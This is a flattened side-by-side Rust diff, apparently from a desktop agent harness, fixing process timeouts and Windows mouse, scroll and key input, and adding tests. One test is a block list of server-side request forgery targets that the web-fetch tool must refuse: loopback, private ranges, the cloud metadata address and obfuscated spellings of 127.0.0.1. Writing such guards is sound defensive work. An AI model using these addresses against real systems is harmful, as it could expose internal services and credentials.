if cancel.load(Ordering::Relaxed) { let stopped = cancel.load(Ordering::Relaxed);
if stopped || start.elapsed() > limit {
let _ = child.kill(); let _ = child.kill();
return Err("已停止".into()); let _ = child.wait();
return if stopped { Waited::Stopped } else { Waited::TooLong };
} }
if start.elapsed() > Duration::from_secs(SCRIPT_TIMEOUT_SECS) { std::thread::sleep(Duration::from_millis(if start.elapsed() < Duration::from_millis(500) { 10 } else { 100 }));
let _ = child.kill();
return Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into());
}
std::thread::sleep(Duration::from_millis(100));
} }
} }
@ -356,16 +517,11 @@ fn front_window_owners(cancel: &AtomicBool) -> Vec<String> {
if !cfg!(target_os = "macos") { if !cfg!(target_os = "macos") {
return vec![]; return vec![];
} }
let Ok(mut child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] }; let Ok(child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] };
let start = Instant::now(); match wait_piped(child, cancel, Duration::from_secs(10)) {
while start.elapsed() < Duration::from_secs(10) && !cancel.load(Ordering::Relaxed) { Waited::Done(_, out, _) => visible_window_owners(&out),
if let Ok(Some(_)) = child.try_wait() { _ => vec![],
return child.wait_with_output().map(|o| visible_window_owners(&String::from_utf8_lossy(&o.stdout))).unwrap_or_default();
}
std::thread::sleep(Duration::from_millis(50));
} }
let _ = child.kill();
vec![]
} }
/// The browser whose window is closest to the front: the one the person is looking at. /// The browser whose window is closest to the front: the one the person is looking at.
@ -506,6 +662,81 @@ mod tests {
assert!(!html_to_text("<head lang=zh><title>不要</title></head><p>要</p>").contains("不要")); assert!(!html_to_text("<head lang=zh><title>不要</title></head><p>要</p>").contains("不要"));
} }
/// A command that prints more than a pipe holds is read to its end, not waited on until
/// the time runs out.
#[cfg(unix)]
#[test]
fn long_output_is_read_while_waiting() {
let run = |script: &str| Command::new("sh").args(["-c", script]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().unwrap();
let start = Instant::now();
match wait_piped(run("head -c 300000 /dev/zero | tr '\\0' a; echo oops >&2; exit 3"), &AtomicBool::new(false), Duration::from_secs(20)) {
Waited::Done(ok, out, err) => assert_eq!((ok, out.len(), err.trim()), (false, 300_000, "oops")),
_ => panic!("it should have finished"),
}
assert!(start.elapsed() < Duration::from_secs(10), "{:?}", start.elapsed());
assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(false), Duration::from_millis(200)), Waited::TooLong));
assert!(matches!(wait_piped(run("sleep 30"), &AtomicBool::new(true), Duration::from_secs(20)), Waited::Stopped));
}
/// A page is read in the encoding it says it is in.
#[test]
fn a_page_is_read_in_its_own_encoding() {
let (big5, _, _) = encoding_rs::BIG5.encode("<html><head><meta charset=\"big5\"><title>臺南市政府</title></head><body>公告事項</body></html>");
assert!(std::str::from_utf8(&big5).is_err(), "not UTF-8 to begin with");
assert!(page_text(&big5, "text/html").contains("臺南市政府"), "named by the page");
let (gbk, _, _) = encoding_rs::GBK.encode("<title>中文网页</title>");
assert!(page_text(&gbk, "text/html; charset=GB2312").contains("中文网页"), "named by the header");
let (old, _, _) = encoding_rs::BIG5.encode("<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=Big5\"><title>舊網站</title>");
assert!(page_text(&old, "").contains("舊網站"));
assert_eq!(page_text("純 UTF-8".as_bytes(), "text/html; charset=utf-8"), "純 UTF-8");
assert_eq!(page_text("沒說編碼".as_bytes(), ""), "沒說編碼");
assert!(page_text(&[b'a', 0xff, b'b'], "text/html").starts_with('a'), "bad bytes don't lose the page");
assert_eq!(charset_named("text/html; charset=\"x-unknown\"").as_deref(), Some("x-unknown"));
assert_eq!(page_text("未知編碼照 UTF-8".as_bytes(), "text/html; charset=x-unknown"), "未知編碼照 UTF-8");
}
/// web_fetch asks nothing, so it reaches the public web only.
#[test]
fn a_fetch_stays_on_the_public_web() {
for inside in [
"http://127.0.0.1:8080/admin",
"http://localhost:3000/",
"http://api.localhost/",
"http://192.168.1.1/",
"http://10.0.0.5:9200/_cat/indices",
"http://172.16.4.4/",
"http://169.254.169.254/latest/meta-data/",
"http://100.100.100.100/",
"http://0.0.0.0:8000/",
"http://[::1]:8080/",
"http://[fd00::1]/",
"http://[fe80::1]/",
"http://[::ffff:127.0.0.1]/",
// Other spellings of 127.0.0.1 the system reads as an address.
"http://2130706433/",
"http://0x7f.1/",
"http://user:pw@127.0.0.1/",
"http://example.com@127.0.0.1/",
] {
assert!(public_only(inside).is_err(), "{inside} was let through");
// (Refused before any connection: by this check, or as not an address at all.)
assert!(fetch(inside).is_err_and(|e| e.contains("只讀公開的網頁") || e.contains("不是網址")), "{inside}");
}
for outside in ["https://93.184.215.14/", "http://8.8.8.8:8080/x", "https://[2606:4700:4700::1111]/", "http://127.0.0.1.nip.invalid/"] {
assert!(public_only(outside).is_ok(), "{outside}");
}
assert_eq!(host_port("https://example.com/a?b=http://127.0.0.1/"), Some(("example.com".to_string(), 443)));
assert_eq!(host_port("http://[::1]:81/x"), Some(("::1".to_string(), 81)));
assert_eq!(host_port("http://example.com:8080"), Some(("example.com".to_string(), 8080)));
assert_eq!(host_port("http://example.com?x=1"), Some(("example.com".to_string(), 80)));
// A redirect is read from the page it came from, then checked like any address.
assert_eq!(follow("https://a.example/x/y?q=1", "http://127.0.0.1/"), "http://127.0.0.1/");
assert_eq!(follow("https://a.example/x/y?q=1", "//b.example/z"), "https://b.example/z");
assert_eq!(follow("https://a.example/x/y?q=1", "/z"), "https://a.example/z");
assert_eq!(follow("https://a.example/x/y?q=1", "z"), "https://a.example/x/z");
assert_eq!(follow("https://a.example", "z"), "https://a.example/z");
}
#[test] #[test]
fn html_becomes_readable_text() { fn html_becomes_readable_text() {
let html = "<html><head><title>T</title><style>.a{}</style></head><body><script>var x=1;</script><h1>標題</h1><p>第一段&nbsp;文字 &amp; 更多</p><div>中&#25991;</div></body></html>"; let html = "<html><head><title>T</title><style>.a{}</style></head><body><script>var x=1;</script><h1>標題</h1><p>第一段&nbsp;文字 &amp; 更多</p><div>中&#25991;</div></body></html>";

View File

@ -8,8 +8,8 @@ use windows::Win32::Graphics::Gdi::{
DIB_RGB_COLORS, SRCCOPY, DIB_RGB_COLORS, SRCCOPY,
}; };
use windows::Win32::UI::Input::KeyboardAndMouse::{ use windows::Win32::UI::Input::KeyboardAndMouse::{
SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP, SendInput, INPUT, INPUT_0, INPUT_KEYBOARD, INPUT_MOUSE, KEYBDINPUT, KEYEVENTF_KEYUP, KEYEVENTF_UNICODE, KEYBD_EVENT_FLAGS, MOUSEEVENTF_ABSOLUTE, MOUSEEVENTF_HWHEEL, MOUSEEVENTF_LEFTDOWN,
MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY, MOUSEEVENTF_LEFTUP, MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP, MOUSEEVENTF_MOVE, MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP, MOUSEEVENTF_WHEEL, MOUSEINPUT, MOUSE_EVENT_FLAGS, VIRTUAL_KEY,
}; };
use windows::Win32::UI::WindowsAndMessaging::{ use windows::Win32::UI::WindowsAndMessaging::{
GetForegroundWindow, GetSystemMetrics, GetWindowRect, GetWindowTextLengthW, GetWindowTextW, GetWindowThreadProcessId, SM_CXSCREEN, SM_CYSCREEN, WindowFromPoint, GetForegroundWindow, GetSystemMetrics, GetWindowRect, GetWindowTextLengthW, GetWindowTextW, GetWindowThreadProcessId, SM_CXSCREEN, SM_CYSCREEN, WindowFromPoint,
@ -34,7 +34,9 @@ fn keys(vk: u16, up: bool, unicode: bool, ch: u16) {
let ki = KEYBDINPUT { let ki = KEYBDINPUT {
wVk: VIRTUAL_KEY(if unicode { 0 } else { vk }), wVk: VIRTUAL_KEY(if unicode { 0 } else { vk }),
wScan: ch, wScan: ch,
dwFlags: if unicode { KEYEVENTF_UNICODE } else { if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) } }, // (A character is pressed and let go like any key: sent "down" twice, with no "up",
// every character was typed twice.)
dwFlags: (if unicode { KEYEVENTF_UNICODE } else { KEYBD_EVENT_FLAGS(0) }) | (if up { KEYEVENTF_KEYUP } else { KEYBD_EVENT_FLAGS(0) }),
time: 0, time: 0,
dwExtraInfo: 0, dwExtraInfo: 0,
}; };
@ -73,6 +75,19 @@ fn modifiers(flags: u64) -> (Vec<u16>, Vec<u16>) {
(down, up) (down, up)
} }
/// Do something with the mouse while the modifier keys of `flags` are held (shift-click,
/// ctrl-scroll…): they were dropped, so every such step was a plain one.
fn holding(flags: u64, act: impl FnOnce()) {
let (down, up) = modifiers(flags);
for k in &down {
keys(*k, false, false, 0);
}
act();
for k in &up {
keys(*k, true, false, 0);
}
}
pub fn move_to(x: f64, y: f64) { pub fn move_to(x: f64, y: f64) {
let (nx, ny) = norm(x, y); let (nx, ny) = norm(x, y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
@ -84,17 +99,18 @@ pub fn click(x: f64, y: f64, button: &str, count: i64, flags: u64) {
"middle" => (MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP), "middle" => (MOUSEEVENTF_MIDDLEDOWN, MOUSEEVENTF_MIDDLEUP),
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP), _ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
}; };
let _ = flags;
let (nx, ny) = norm(x, y); let (nx, ny) = norm(x, y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
for n in 1..=count.max(1) { holding(flags, || {
if n > 1 { for n in 1..=count.max(1) {
std::thread::sleep(std::time::Duration::from_millis(80)); if n > 1 {
std::thread::sleep(std::time::Duration::from_millis(80));
}
mouse(nx, ny, 0, down);
std::thread::sleep(std::time::Duration::from_millis(30));
mouse(nx, ny, 0, up);
} }
mouse(nx, ny, 0, down); });
std::thread::sleep(std::time::Duration::from_millis(30));
mouse(nx, ny, 0, up);
}
} }
pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) { pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
@ -102,30 +118,47 @@ pub fn drag(points: &[(f64, f64)], button: &str, flags: u64) {
"right" => (MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP), "right" => (MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP),
_ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP), _ => (MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP),
}; };
let _ = flags; holding(flags, || {
if let Some((x, y)) = points.first() { if let Some((x, y)) = points.first() {
let (nx, ny) = norm(*x, *y); let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
mouse(nx, ny, 0, down); mouse(nx, ny, 0, down);
} }
for (x, y) in points.iter().skip(1) { for (x, y) in points.iter().skip(1) {
let (nx, ny) = norm(*x, *y); let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE); mouse(nx, ny, 0, MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE);
std::thread::sleep(std::time::Duration::from_millis(20)); std::thread::sleep(std::time::Duration::from_millis(20));
} }
if let Some((x, y)) = points.last() { if let Some((x, y)) = points.last() {
let (nx, ny) = norm(*x, *y); let (nx, ny) = norm(*x, *y);
mouse(nx, ny, 0, up); mouse(nx, ny, 0, up);
} }
});
} }
pub fn scroll(at: Option<(f64, f64)>, x: i32, y: i32, flags: u64) { /// Wheel units for a scroll the harness gives in pixels (crate::computer::scroll_pixels:
let _ = (x, flags); /// SCROLL_PIXELS_PER_STEP a step): one notch of the wheel (120) a step.
fn wheel(pixels: i32) -> u32 {
(pixels / crate::computer::SCROLL_PIXELS_PER_STEP * 120) as u32
}
/// `dy`, `dx`: the harness's (vertical, horizontal) pixels, up and left positive — the order
/// every other system's scroll takes them in. (They were read the other way round, and the
/// vertical one thrown away: up and down did nothing, left and right scrolled up and down.)
pub fn scroll(at: Option<(f64, f64)>, dy: i32, dx: i32, flags: u64) {
if let Some((px, py)) = at { if let Some((px, py)) = at {
move_to(px, py); move_to(px, py);
} }
// Windows wheels by 120ths of a line; the harness counts lines. holding(flags, || {
mouse(0, 0, ((y * 120) as i32) as u32, MOUSEEVENTF_WHEEL); // The wheel turns away from the person (positive) to go up, like the harness's dy;
// the sideways wheel is positive to the right, the harness's dx to the left.
if dy != 0 {
mouse(0, 0, wheel(dy), MOUSEEVENTF_WHEEL);
}
if dx != 0 {
mouse(0, 0, wheel(-dx), MOUSEEVENTF_HWHEEL);
}
});
} }
pub fn type_text(text: &str) { pub fn type_text(text: &str) {